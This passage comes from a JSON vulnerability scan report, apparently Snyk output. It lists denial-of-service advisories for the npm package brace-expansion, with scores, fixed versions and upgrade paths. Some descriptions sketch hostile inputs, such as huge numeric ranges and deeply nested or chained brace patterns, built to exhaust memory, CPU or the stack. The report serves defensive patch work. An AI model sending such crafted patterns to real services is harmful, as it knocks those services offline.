Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, 